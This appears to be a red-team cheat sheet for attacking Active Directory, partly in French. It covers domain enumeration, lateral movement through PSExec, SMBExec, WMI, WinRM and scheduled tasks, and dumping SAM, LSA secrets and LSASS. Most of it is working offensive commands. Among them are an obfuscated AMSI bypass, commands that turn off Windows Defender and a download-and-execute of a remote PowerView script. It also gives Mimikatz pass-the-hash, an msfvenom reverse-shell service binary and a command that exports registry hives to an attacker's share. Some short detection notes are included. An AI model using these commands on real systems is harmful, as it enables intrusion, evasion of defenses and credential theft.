    get-localdisks      Queries a host to return a list of active disks on the host (you can use local
                        credentials instead of domain credentials)
    get-netdomain       Queries a host for available domains
    get-netshare        Queries a host to return a list of available shares on the host (you can use
                        local credentials instead of domain credentials)
    get-netloggedon     This function will execute the NetWkstaUserEnum RPC call to query a given host
                        for actively logged on users
    get-netlocalgroup   Gets a list of members of a local group on a machine, or returns every local
                        group. You can use local credentials instead of domain credentials, however,
                        domain credentials are needed to resolve domain SIDs.
    invoke-checklocaladminaccess
                        Checks if the given user has local admin access on the given host
    get-netprocess      This function will execute the 'Select * from Win32_Process' WMI query to a
                        given host for a list of executed process
    get-userevent       This function will execute the 'SELECT * from Win32_NTLogEvent' WMI query to a
                        given host for a list of executed process
    invoke-userhunter   Finds which machines domain users are logged into
    invoke-processhunter
                        Searches machines for processes with specific name, or ran by specific users
    invoke-eventhunter  Searches machines for events with specific name, or ran by specific users
```

{% endtab %}
{% endtabs %}


# .NET Classes

### Domain Enumeration

Current domain name:

```
PS C:> [System.Net.Dns]::GetHostByName(($env:computerName))
PS C:> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```

### Domain Forest Trusts

```
PS C:> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS C:> ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())
PS C:> ([ADSISearcher]"(objectClass=trustedDomain)").FindAll()
PS C:> ([ADSISearcher]"(objectClass=trustedDomain)").FindAll() | %{$a=$_.Properties["trustattributes"]; $d=$_.Properties["trustdirection"]; $t=$_.Properties["trusttype"] ; write-Host $_.Properties["distinguishedname"] $a $d $t}
```

### Get Password Policy

```
PS C:> Get-ADDefaultDomainPasswordPolicy -Current LoggedOnUser
```

### Get a Domain Computer

```
PS C:> ([ADSISearcher]"(&(objectClass=computer)(name=SV-*))").FindAll()
```

The above one-liner we searched for a computer name starting with “SV-”, that can possibly be a server appellation. Similarly, it is possible to enumerate a specific computer with the exact name.

```
PS C:> ([ADSISearcher]"(&(objectClass=computer)(name=<COMPUTERNAME>))").FindAll()
```

### Get All Domain Computers

```
PS C:> ([ADSISearcher]"ObjectClass=computer").FindAll()
```

### Enumerate Single User

```
PS C:> ([ADSISearcher]"(&(objectClass=user)(samAccountType=805306368)(samaccountname=<USERNAME>))").FindAll().Properties
```

### Enumerate All Domain Controllers

```
PS C:> ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll()
```

### Enumerate All Users

```
PS C:> ([ADSISearcher]"(&(objectClass=user (samAccountType=805306368))").FindAll()|ft
```

### Enumerate All Users With Specific Properties

Filter by property, this code will just display “samaccountname” as a result for all users.

```
PS C:> ([ADSISearcher]"(&(objectClass=user)(samAccountType=805306368))").FindAll() | %{ $_.Properties["samaccountname"] }
```

### Enumerate all users with a SPN

A service instance’s service principal name (SPN) is a unique identifier. Kerberos authentication uses SPNs to link a service instance to a service login account. This enables a client application to ask the service to authenticate an account even if it doesn’t know the account name.\
If we want to display all users with SPN then we can use below code:

```
PS C:> ([ADSISearcher]"(&(objectClass=user)(servicePrincipalName=*)(samAccountType=805306368))").FindAll()
```

### Enumerate a Domain Group

```
PS C:> ([ADSISearcher]"(&(ObjectClass=group)(samaccountname=Domain Admins))").FindOne()
```

### Enumerate All Domain Groups

```
PS C:> ([ADSISearcher]"ObjectClass=group").FindAll()
```

### Enumerate domain group members

```
PS C:> ([ADSISearcher]"(distinguishedname=CN=AB ACCESS,CN=Users,DC=corp,DC=manmeetdc,DC=local)").FindOne().Properties.member
```

### References:&#x20;

{% embed url="<https://payatu.com/blog/ad-enumeration-without-external-scripts/>" %}


# Lateral movement

### ADModule:

```
Import-Module ..\\Microsoft.ActiveDirectory.Management.dll 
Import-Module .\\ActiveDirectory.psd1
```

### Créer une session :

```
$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Enter-PSSession -Session $sess
```

### Exécuter des commandes sur cette session :

```
Invoke-command -ScriptBlock {whoami} -ComputerName (Get-Content <list_of_servers>) # Injection de la commande "whoami" dans une list de machines
Invoke-command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -Filepath C:\\AD\\Tools\\Invoke-Mimikatz.ps1 -Session $sess # Load d'une fonction directement dans la mémoire de la machine ciblée
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess # Appel d'une fonction en la loadant directement dans la mémoire
```

### Pass-The-Hash :

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell.exe"'
```

### Checklist création de session :

* [ ] Checker le mode language :

```
$ExecutionContext.SessionState.LanguageMode #Si c'est ConstrainedLanguage il nous sera impossible d'executer des modules 
```

* [ ] Si on est en mode ConstrainedLanguage checker la politique AppLocker :

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

* [ ] Bypasser AMSI dès la création de la session :

```
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

* [ ] Désactiver AV :

```
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
```

* [ ] Bypass de l'execution policy :

```
powershell -ep bypass
```

* [ ] Download de scripts

```
iex (iwr <http://172.16.100.X/PowerView.ps1> -UseBasicParsing) #via un HFS
Copy-Item .\\Invoke-MimikatzEx.ps1 \\\\dcorp-adminsrv.dollarcorp.moneycorp.local\\c$\\"Program Files" # Utiliser le SMB Protocole 
```

### Énumération Latérale

* [ ] Checker les accès sur d'autres machines avec les privilèges de LocalAdmin

```
Find-LocalAdminAccess
```

* [ ] Checker si un Domain Admin s'est connectée sur une des machines accessibles avec les privilège Local Admin :

```
Invoke-UserHunter -CheckAccess #par default groupe domain admin
Invoke-UserHunter -GroupName "RDPUser" -CheckAccess
```

* [ ] Et rebelote au début pour jusqu'à trouver un compte permettant une privesc


# Code execution


# PSExec

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

PSExec is part of the Sysinternals tool suite and has been reimplemented in the Impacket suite (works almost the same way). The tool is a Microsoft-signed binary, which makes it generally reliable in most Windows environments. It executes commands on a remote system by:

1. Connecting to shared folder ADMIN$=C:\Windows&#x20;
2. Upload a PSEXECSVC.exe file.&#x20;
3. Then uses the Service Control Manager (sc) to start the binary service (the SysInternals PsExec starts a service that is named PsExeSvc by default whereas Impacket’s psexec.py tool spawns a process with a randomly generated 4-characters name) as NT\SYSTEM.&#x20;
4. Creates a named pipe on the target and uses it for I/O operations.&#x20;
5. Runs the program under a parent process of psexecsvc.exe. The parent process of psexecsvc.exe is services.exe.&#x20;
6. When its task is completed, the Windows PsExecSVC service will be stopped and the PSEXESVC.exe file will be deleted from ADMIN$.

In general, most defensive tool will detect (or at least have the ability to detect) lateral movement via PSExec.

{% tabs %}
{% tab title="Cleartext password" %}

```powershell
psexec.exe /accepteula \\<IP> -u DOMAIN\USERNAME -p PASSWORD cmd.exe
```

{% endtab %}

{% tab title="NTLM Hash" %}
By default, PsExec does not allow to use the Pass-The-Hash technique. However, the Mimikatz tool can be used to perform a PTT attack:

```powershell
# Open a command prompt with the NTLM hash of a user using Mimikatz:
 mimikatz > sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<HASH_NTLM>

# Psexec
PsExec.exe /accepteula \\<IP> cmd.exe
```

{% endtab %}

{% tab title="Impacket PSExec" %}

```
$ psexec.py Administrator:<PASSWORD>@10.10.0.4 -debug
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket
[+] StringBinding ncacn_np:10.10.0.4[\pipe\svcctl]
[*] Requesting shares on 10.10.0.4.....
[*] Found writable share ADMIN$
[*] Uploading file BXtvAhde.exe
[*] Opening SVCManager on 10.10.0.4.....
[*] Creating service IcsJ on 10.10.0.4.....
[*] Starting service IcsJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

{% endtab %}
{% endtabs %}

## Detection&#x20;

Given that psexecsvc.exe is downloaded to the target's network share (ADMIN$), It is possible to correlate events such as:

1. File creation
2. Installation of service.&#x20;
3. Starting a process.

Logs:

* `Id 5145` from the Windows event log (access to the network share has been verified) will be recorded.
* `Id 7045` for the initial installation of the service will also be recorded.&#x20;
* The existence of the psexecsvc.exe file is an indication that psexec was used to gain access to the target machine.
* `Id 4697`service created on a system.&#x20;

{% hint style="danger" %}
psexec\_psh, used by CobaltStrike, does not copy a binary to the target, but executes a single-line PowerShell (always 32-bit).
{% endhint %}

### Reference(s)

{% embed url="<https://nv2lt.github.io/windows/smb-psexec-smbexec-winexe-how-to/>" %}


# SMBExec

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

SMBExec is part of the Impacket collection. It executes commands on a remote system by:

* Not downloading service binaries to the target (stealthier than psexec).
* By default, it creates a service named "BTOBTO". The name can be changed in smbexec.py under the variable SERVICE\_NAME=..., or entered as a command line parameter to smbexec.py.
* For each given command, smbexec transfers the commands from the attacker's machine to the target machine via SMB in the form of a batch file in %TEMP%/execute.bat.
* A new service named "BTOBO" is created, copying the command to execute into a batch script, and redirecting the output to stdout and stderror to a Temp file. It then executes the .bat script and deletes it.
* The Python script then extracts the output file via SMB and displays its content in our "pseudo-shell".

For each command we type in this shell, a new service is created, and the process is repeated. Hence, there is no need to drop a binary onto the victim machine's disk.

The service is launched with the highest possible privileges, including *NT\System* privileges, which is why this "pseudo-shell" is opened as *NT\System*.

```python
python3 smbexec.py <DOMAIN>/<USERNAME:<PASSWORD>@<IP>
```

## References

{% embed url="<https://book.hacktricks.xyz/windows-hardening/ntlm/smbexec>" %}


# WMIexec / WMI

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

WMI is commonly employed to execute and automate administrative tasks in Windows, including interactions with remote computers. An executable (wmic.exe) is included in the Windows operating system to perform these remote administrative tasks, or the same Windows APIs can be utilized by PowerShell or other scripting languages. This executable has been re-implemented in the Impacket suite.

By utilizing either the wmic.exe executable or Impacket's wmiexec, your command inputs are executed within a CMD.EXE process, and the output is stored in a temporary file within the ADMIN$ share of the remote machine. This temporary file can be identified within the ADMIN$ share by searching for a filename beginning with "\_\_+TIMESTAMP".

The CMD.exe process employed becomes a child process of `WmiPrvSe.exe` on the currently compromised system. If the target system is under monitoring, a Security Operations Center (SOC) might detect malicious activity due to the creation of this process.

Once the threads of the process finish their tasks, the process terminates, and the output is written into the temporary file. Subsequently, the output stored in the temporary file is returned to our machine via SMB.

![](https://3529152589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlK4duaZmxn8h2PRHMY%2Fuploads%2FQln7U5Wm0hTGnW6fO9yJ%2Fimage.png?alt=media\&token=d54a8987-6d16-4dfa-84ee-efb61f1c9e8c)

{% tabs %}
{% tab title="Impacket wmiexec" %}

```python
python wmiexec.py [domain]/[user]@[target-host]
```

{% endtab %}

{% tab title="WMI" %}

```python
wmic /node:<IP> /user:<DOMAIN>\<USERNAME> /password:<PASSWORD> process call create “calc.exe”
```

{% endtab %}
{% endtabs %}

## Detection :&#x20;

When binaries are executed via WMI, they become child processes of `WmiPrvSE.exe`. Therefore, it's possible to search for Process Create events where WmiPrvSE is the parent process. This holds true even if you employ WMI to execute a one-liner PowerShell command.

* For event logs generated by WMIExec on the remote machine: Event logs generated (to establish communication and execute a single command, then exit WMIExec)
  * Security event IDs: `4672` (Special privileges assigned to new logon), `4624` (Successful logon), `4634` (Logoff).

## References

{% embed url="<https://labs.withsecure.com/blog/attack-detection-fundamentals-discovery-and-lateral-movement-lab-5/>" %}

{% embed url="<https://www.ired.team/offensive-security/lateral-movement/wmi-+-msi-lateral-movement>" %}


# ATExec / SchTaskExec

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

SchTasks is short for Scheduled Tasks and operates initially on port 135, then continues communication on an ephemeral port, using DCE/RPC for communication. Similar to creating a cron job in Linux, you can schedule a task to occur and execute whatever action you desire.

{% tabs %}
{% tab title="UNIX" %}

```python
# Executes a command on the target machine via the Task Scheduler service and returns the output of the executed command.
atexec.py domain/user:password@IP <command>
```

{% endtab %}

{% tab title="Windows" %}

```powershell
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /F /delete /tn <TASK_NAME> /S <VICTIM>
```

```
At \\<IP> 11:00:00PM shutdown -r
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://book.hacktricks.xyz/windows-hardening/ntlm/atexec>" %}


# DCOMExec / DCOM

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}


# Powershell Remoting - WinRM

{% hint style="warning" %}
Par défaut, il faut obligatoirement disposer de droit d'administrateur sur la machine cible.
{% endhint %}

Windows Remote Management enables server hardware management and is also how Microsoft employs WMI over HTTP(S). Unlike traditional web traffic, it doesn't utilize protocol 80/443, but instead uses protocols 5985 (HTTP) and 5986 (HTTPS).

WinRM comes pre-installed with Windows but requires some configuration to be used. An exception to this rule pertains to server operating systems, as it has been enabled by default since 2012R2 and onwards.

{% hint style="warning" %}
WinRM requires a port to be listening for a WINRM connection on the victim machine. This can be done via the command in Powershell, or remotely via WMI and Powershell:

```
Enable-PSRemoting -Force
```

{% endhint %}

{% tabs %}
{% tab title="Windows Powershell" %}
With Windows Powershell:

1. Create a session:

```powershell
$sess = New-PSSession -ComputerName <TARGET_COMPUTER>
Enter-PSSession -Session $sess
```

2. Execute command on the opened session

```powershell
# Injecting the "whoami" command into a list of machines
Invoke-command -ScriptBlock {whoami} -ComputerName (Get-Content <list_of_servers>)

# Executing a command in the created session ( DisableIOAVProtection indicates whether Windows Defender scans all downloaded files and attachments).
Invoke-command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess

# Loading a PowerShell script directly into the memory of the targeted machine
Invoke-command -Filepath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

# Calling a PowerShell function
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess
```

{% endtab %}

{% tab title="Evil-WinRm" %}
With [Evil-WinRm](https://github.com/Hackplayers/evil-winrm):

```
evil-winrm -i <IP> -u <USERNAME> -p <PASSWORD> -s /path/to/binary/you_want_to_upload
```

{% endtab %}
{% endtabs %}

## Detection :&#x20;

Outbound network connections can be searched for with a destination port of 5985/5986. The process start event for `wsmprovhost.ex`e can be observed (with a "-Embedding" parameter in the command line arguments).


# Crackmapexec

{% hint style="warning" %}
Executing commands on a Windows system requires administrator credentials. CME automatically informs you if you have administrator access by adding (*Pwn3d!*) alongside
{% endhint %}

## Execution methods &#x20;

CME offers three distinct methods for command execution:&#x20;

* `wmiexec` executes commands via WMI
* `atexec` executes commands by scheduling a task with the Windows Task Scheduler&#x20;
* `smbexec` executes commands by creating and running a service.

By default, CME switches to another execution method if one fails. It attempts to execute commands in the following order:&#x20;

1. `wmiexec`&#x20;
2. `atexec`&#x20;
3. `smbexec`&#x20;

If you wish to force CME to use a specific execution method, you can specify it using the --exec-method flag

## Commands execution

```python
# Execute whoami on the target with cmd.exe
crackmapexec <IP> -u <USERNAME>-p '<PASSWORD>' -x whoami

# # Execute powershell command on the target with powershell.exe
crackmapexec <IP> -u <USERNAME> -p '<PASSWORD>' -X '$PSVersionTable'
```

## References

{% embed url="<https://mpgn.gitbook.io/crackmapexec/smb-protocol/command-execution/execute-remote-command>" %}


# Service Control (SC)

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

The Service Controller (sc) proves particularly valuable for attackers, enabling task scheduling via SMB.

```powershell
sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe”
sc \\host.domain start ExampleService
```

The caveat here is that the executable must specifically be a service binary. Service binaries differ in that they need to "register" with the Service Control Manager (SCM), and if not, they terminate execution. Hence, if a non-service binary is used for this purpose, it will come back as a brief agent/beacon for a moment and then terminate.

Directly creating an executable that runs as a service is possible:

[**CobaltStrike** ](https://www.cobaltstrike.com)**:**&#x20;

In Cobalt Strike, navigate to Attacks > Packages > Windows Executable (S), and select the Service Binary output type.

![Executable Windows en tant que service dans CobaltStrike ](https://3529152589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlK4duaZmxn8h2PRHMY%2Fuploads%2FddI5BTUMbsJbmoH8XbKp%2Fimage.png?alt=media\&token=8c554aaf-9149-4032-a01c-c5f0e821f469)

[**Metasploit :** ](https://www.metasploit.com)

Using msfvenom, specify the exe-service format:

```bash
msfvenom -p windows/meterpreter/reverse_tcp -f exe-service LHOST=<IP> LPORT=<PORT> -o service.exe
```


# Credentials


# Finding


# Guessing


# Bruteforce


# Spraying


# Dumping


# SAM Base

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

## What is SAM?&#x20;

The Security Account Manager (SAM) stands as a fundamental component within Windows, entrusted with the storage and administration of local user and group accounts. This database file serves as the bedrock for authenticating local user logons.&#x20;

## What Purpose does SAM Serve?&#x20;

The SAM database seamlessly engages as a background process upon system startup, working harmoniously in tandem with other processes and services. The realm of Windows computing offers two primary configurations: workgroup and domain. In the former, each computer maintains its individual SAM, housing data about local users and group accounts. Passwords linked with these accounts are meticulously hashed and securely stored within the SAM, a measure that inherently bolsters security and mitigates potential attack vulnerabilities. The Local Security Authority (LSA) assumes the role of verifying a user's logon attempt, cross-referencing their credentials against the data enshrined in the SAM. Successful logon hinges on the password entered aligning with the stored password in the local SAM.

Within domain-joined systems, two distinct logon types exist: local and domain-based. While local logons adhere to the principles outlined above, domain user logons leverage the Active Directory (AD) database coupled with the WinLogon service.&#x20;

**A Comprehensive Exploration of the SAM Hive**

Delving into the SAM hive unveils its multi-faceted components, encryption methodologies, and the intricate process of extracting its secrets.

**1. Key Components of the SAM Hive:**

* **Users and Groups**: The SAM hive encapsulates information about local users and groups, along with their corresponding security identifiers (SIDs). These entries establish the foundational building blocks of the Windows security framework.
* **Password Hashes**: A crucial aspect of the SAM hive is its storage of password hashes for local accounts. User passwords are kept in the SAM registry either as an LM hash or an NT hash, depending on Group Policy settings. The LM hash is a vintage hashing technique that was created in 1987 and is enabled by default on Windows versions prior to Windows Vista/Windows Server 2008. However, because LM hashes are now deemed cryptographically unsafe, Microsoft recommends removing storage of all LM hashes whenever possible. An attacker might brute force the whole key space in a reasonably short period of time. If an attacker obtains the hashes, they can be readily broken using rainbow tables or a brute force password guessing assault within a few minutes.
* **Bootkey Encryption**: To enhance security, the SAM hive encrypts password hashes using a bootkey. This bootkey, unique to each computer, is ingeniously derived from information contained within the `HKLM\SYSTEM\CurrentControlSet\Control\Lsa` registry key.

**Extracting SAM Secrets**

{% tabs %}
{% tab title="Unix" %}
[**Secretdump**](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)**:**

`secretsdump.py`, from impacket suit can be used to extract the SAM database remotely:

```bash
python secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
```

[NTLMRelayx](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py):

SAM database can be dumped remotely through [ntlmrelayx](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py):

```
python3 ntlmrelayx.py -tf targets.txt -smb2support
```

[CrackMapExec](https://github.com/mpgn/CrackMapExec):

It is possible to dump the SAM hashes using methods from secretsdump.py using [CrackMapExec](https://github.com/mpgn/CrackMapExec):

```
cme smb <TARGET> -u <USERNAME> -p <PASSWORD> --sam
```

{% endtab %}

{% tab title="Windows" %}
To get a copy of the SAM registry hive, it is possible to use natives `reg.exe`  or `vssadmin` (using [shadow copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-shadows)) command from a privileged shell with the following commands:

```powershell
reg save HKLM\SAM sam_hive_backup
# or
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM SAM
```

[**Mimikatz**](https://github.com/gentilkiwi/mimikatz)**:**

Among the pantheon of powerful security tools, Mimikatz stands tall, providing the capability to extract SAM secrets:

```batch
mimikatz.exe "lsadump::sam /system:<SYSTEM_HIVE> /sam:<SAM_HIVE> /bootkey:<BOOTKEY>"
```

{% endtab %}
{% endtabs %}


# LSA Secrets

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

The registry is a place where identification information can be found. In the registry, the computer stores certain identification information necessary for the computer to function properly in a domain. One of the places where sensitive identification information is stored is in LSA secrets.&#x20;

LSA secrets are special storage located in the registry that is used to save sensitive data that is only accessible to the local SYSTEM account.. LSA secrets are stored in an encrypted form within the registry at *HKEY\_LOCAL\_MACHINE/Security/Policy/Secrets.* The parent keys to decrypt the secrets are also stored within the registry at *HKEY\_LOCAL\_MACHINE/Security/Policy.*

In LSA Secrets you can find :

* **Domain machine account.** In order to operate in a domain, a computer needs a machine account in the domain. The username and password for this machine account must therefore be available to the operating system and are therefore stored in the LSA secrets. It should also be noted that the password for this machine account is changed every 30 days by default. This machine account is used by the local SYSTEM account to interact with the domain, but not locally, so this account does not have administrative privileges on the machine.
* **Account passwords for Windows Services or scheduled tasks.** In order to run services on behalf of a user, the computer must store the user's password. It is therefore possible to find unencrypted service account passwords in secret **LSAs.**
* **Password for auto-logon.** If Windows auto-logon is enabled, the password can be stored in the secret LSAs. Alternatively, it can be stored in the registry key *HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon* under the key *DefaulUserName*. The domain and username are always registered in *DefaultDomainName* and *DefaultUserName* respectively.
* **DPAPI master keys.** The Data Protection API (DPAPI) is used to allow users to encrypt sensitive data without having to worry about the cryptographic keys used. If you are able to recover the master keys, you can then decrypt certain user data.
* **Domain Cached Credentials.** In addition, in the SECURITY hive file, the credentials of the last domain users to connect to the machine, called Domain Cached Credentials (DCC), are also stored. In this way, the computer can authenticate the domain user even if the connection to the domain controllers is lost. These cached credentials are MSCACHEV2/MSCASH hashes, **which are different from NT hashes, and so cannot be used to perform a Pass-The-Hash**. However, it is still possible for an attacker to try to crack them offline in order to recover the user's password.

By default, the caching policy allows 10 DCC2 credentials to be stored.

{% tabs %}
{% tab title="Linux" %}

#### [CrackMapExec ](https://github.com/mpgn/CrackMapExec):&#x20;

```python
cme smb <TARGET> -u <USERNAME> -p <PASSWORD> --lsa
```

#### [Secretsdump ](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py):&#x20;

{% hint style="info" %}
It is possible to use secretsdump to locally parse LSA secrets exported as a file (dump from the Security hive).

```
secretsdump.py -security '/path/to/security.save' LOCAL
```

{% endhint %}

```python
secretsdump.py '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'
```

[**Reg**](https://github.com/fortra/impacket/blob/master/examples/reg.py)**:**&#x20;

Reg.py from impacket can also be used to remotely dump LSA:

```bash

reg.py "domain"/"user":"password"@"target" save -keyName 'HKLM\SECURITY' -o '\\<ATTACKER_IP>\someshare'

# backup all SAM, SYSTEM and SECURITY hives at once
reg.py "domain"/"user":"password"@"target" backup -o '\\<ATTACKER_IP>\someshare'
```

{% endtab %}

{% tab title="Windows" %}

#### Mimikatz :&#x20;

```powershell
lsadump::secrets
```

```powershell
lsadump::secrets /system:c:\temp\system /security:c:\temp\security
```

#### From register :&#x20;

```powershell
reg save hklm\security c:\temp\security.save
```

{% endtab %}
{% endtabs %}

## References:

Almost all the info comes from Hacker Recipes blog. You should definitely check it.

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets>" %}


# LSASS Process

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

On a Windows machine, a common place to find credentials is the Local Security Authority Subsystem Service (LSASS) process (lsass.exe). The LSASS process is responsible for managing computer security operations, including user authentication.&#x20;

Recovering LSASS memory is probably the most known technique to retrieve sensitive secrets and can contain the following elements:

* User / Machine hashes.
* Cleartext credentials (if [*wdigest*](https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649) is enabled).
* Kerberos tickets (TGT and ST).
* DPAPI cached keys.

When a user connects interactively to the computer, either by physically accessing the computer or via RDP, the user's credentials are cached in the LSASS process in order to use SSO (Single Sign-On) when a network connection is required to access other computers in the domain.

{% hint style="warning" %}
Be aware that remote users authenticated with NTLM or Kerberos will not leave the credentials cached on the computer (in the lsass process), as these protocols do not actually send the user's credentials to the computer (unless Kerberos delegation is enabled), but a proof, which may be an NTLM hash or a Kerberos ticket generated with the credentials. In summary, you cannot extract credentials from remote users authenticated with NTLM or Kerberos. In short, you cannot extract credentials from lsass for remote users authenticated with NTLM or Kerberos (unless the protocol/service explicitly sends them after authentication, as RDP does, but this has nothing to do with NTLM or Kerberos).
{% endhint %}

The credentials are cached by some of the SSPs (Security Support Providers) that are used by LSASS to provide different authentication methods. Some of the SSPs are as follows:

* The Kerberos SSP manages Kerberos authentication and is responsible for storing Kerberos tickets and keys for currently connected users.
* The NTLMSSP or MSV SSP manages NTLM authentication and is responsible for storing NT hashes for currently logged-in users. It does not cache the credentials used.
* The Digest SSP implements the Digest access protocol used by HTTP applications. It is the SSP that stores the user password in clear text in order to calculate the digest. Although password caching has been disabled by default since Windows 2008 R2, it is still possible to enable password caching by setting the *HKLM\SYSTEM\CurrentControlSet\SecurityProviders\WDigest\UseLogonCredential* registry entry to 1 or by patching the Digest SSP directly in memory.

Therefore, if you can access the memory of the LSASS process, for which *SeDebugPrivilege* is required (usually held by administrators) since LSASS is a system process, you can retrieve the cached credentials. These cached credentials, therefore, include the user's NT hash, Kerberos keys and tickets, **and possibly the user's passwords in clear text if WDigest is enabled.** A good technique is to activate **WDigest** on a server that is often used to collect passwords in clear text. It is possible to to that by editing the following registry *HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential* to REG\_DWORD - 1.

## Practical Exploitation:

{% tabs %}
{% tab title="Unix" %}
Lsassy is a tool written in Python by Pixis that can be used to remotely extract identification information from the LSASS process on several machines.&#x20;

Lsassy includes several well-known dumping methods such as comsvcs.dll, ProcDump, nanodump, PPLDump, etc. Lsassy has also been integrated as a module in the NetExec tool.

```python
# Lsassy script 
lsassy -u <USER> -p <PASSWORD> <TARGETS>
```

Secretsdump:

```
secretsdump.py <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET>
```

CrackMapExec:

```
# Lsassy module
nxc smb <TARGETS> -u <USER> -p <PASSWORD> -M lsassy
nxc smb <TARGETS> -u <USER> -p <PASSWORD> -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=<NEO4J_PASSWORD>
```

{% endtab %}

{% tab title="Windows" %}

#### Powershell Obfuscation:

{% embed url="<https://badoption.eu/blog/2023/06/21/dumpit.html>" %}

#### [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```
privilege::debug
sekurlsa::minidump C:\mem.dmp
sekurlsa::longonpasswords
```

#### [Procdump ](http://live.sysinternals.com)(Sysinternals):

```
# Find the PID of the LSASS.exe process
get-process lsass

# Dump lsass.exe
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp

# Use directly the LSASS pid
procdump.exe -accepteula -ma <LSASS_PID> out.dmp
```

#### COMSVCS:

The Minidump function from COMSVCS DLL can be used to dump LSASS:

```
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
```

#### SQLDumper:&#x20;

The Sqldumper.exe utility is included with Microsoft SQL Server. It generates memory dumps of SQL Server and related processes for debugging purposes. This article explains how to use the Sqldumper.exe utility to generate a dump file for Watson error reports or debugging tasks.

```powershell
Sqldumper.exe <ProcessID> 0 0x0128
```

#### [**WerFault**](https://github.com/deepinstinct/Lsass-Shtinkering)**:**

```
WerFault.exe -u -p <target process> -ip <source process> -s <file mapping handle>
```

#### **Process Hacker/Task Manager**

LSASS process -> Create Dump
{% endtab %}
{% endtabs %}

## LSA Protection

Since then, Microsoft has implemented more protection around the LSASS process. With Windows Server 2012 R2 and 8.1 there is a feature called LSA (Local Security Authority) Protection according to the following [Microsoft page](https://technet.microsoft.com/en-us/library/dn408187\(v=ws.11\).aspx) it is possible to run LSASS as a protected process. Here's the registry key responsible for this: *HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL*.&#x20;

{% embed url="<https://itm4n.github.io/lsass-runasppl/>" %}

While there exists a workaround, like modifying a driver or bypass the signature verification code, it had become more difficult to dump the LSASS process, but not impossible.

After the use of [PPLDump](https://github.com/itm4n/PPLdump), [PPLMedic](https://github.com/itm4n/PPLmedic), the latest solution that has been found is [PPLFault](https://github.com/gabriellandau/PPLFault).

## References :&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/lsass>" %}

{% embed url="<https://github.com/Hackndo/lsassy>" %}

{% embed url="<https://github.com/itm4n/PPLdump>" %}


# DPAPI secrets


# NTDS.DIT


# Group Policy Preferences


# User description


# Impersonnification


